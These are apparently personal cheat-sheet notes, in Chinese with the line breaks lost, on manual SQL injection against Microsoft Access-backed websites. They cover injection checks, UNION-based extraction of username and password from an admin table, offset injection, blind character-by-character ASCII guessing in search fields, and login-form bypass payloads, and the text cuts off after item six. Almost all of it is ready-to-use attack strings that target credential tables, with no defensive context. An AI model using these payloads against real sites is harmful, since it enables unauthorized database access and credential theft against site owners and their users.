sql手工注入笔记.docx

access手工注入 access注入 access偏移注入 access搜索型注入 access登陆框注入1.判断注入. and 1=1 and 1=2或者 -0 -1看页面的变化2. access注入.联合查询order by 10and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from adminand 1=2 union select 1,username,3,4,password,6,7,8,9,10 from admin 3. access偏移注入. 条件须有id字段order by 13and 1=2 union select 1,2,3,4,5,6,7,8,9,* from admin 直到*正常13-9=4 4*2=8 13-8=5and 1=2 union select 1,2,3,4,5,* from (admin as a inner join admin as b on a.id=b.id)4. access爆字段select * from next where id=1 ORDER BY sum(1)只能爆出一个字段 如为 bm_username 就可以猜其他的了还可以通过网站后台 查看源代码查找字段 5 .access搜索型注入2010%and(select count(*)from mssysaccessobjects)0 and %= //返回正常。access数据库2010%and(select count(*)from admin)0 and %= //返回正常存 在admin表2010%and(select count(username)from admin)0 and %= //返回正常,存在username字段2010%and(select count(password)from admin)0 and %= //返回正常,并且存在password字段2010%and(select top 1 len(username)from admin)4 and %= //返回正常username长度大于42010%and(select top 1 len(username)from admin)=5 and %= //返回正常username长度等于52010%and(select top 1 len(password)from admin)=32 and %= //返回正常,密码长度为32位加密。username length 5password length 322010%and(select top 1 asc(mid(username,1,1))from admin)=97 and %= //a以下都是对应位置的ascii的编码，如果不是则返回错误。2010%and(select top 1 asc(mid(password,1,1))from admin)=48 and %=,2010%and(select top 1 asc(mid(password,2,1))from admin)=102 and %=2010%and(select top 1 asc(mid(password,3,1))from admin)=101 and %=2010%and(select top 1 asc(mid(password,4,1))from admin)=102 and %=这个查询太费时间了 可以试下union联合查询2010% order by 10 and %=2010% and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin and %=2010%and 1=2 union select 1,username,3,4,password,6,7,8,9,10 from admin and %=6. access登陆框注入1. a or(select count(*) from admin)0 and 1=1 2. a or(select count(username) from admin)0 and 1=1 3. a or(select count(password) from admin)0 and 1=1 这个查询太费时间了 可以试下union联合查询a union select 1,2,3,4,5,6,7,8,9,10 from admin and 1=1 a union select 1,username,3,4,password,6,7,8,9,10 from admin and 1=1 7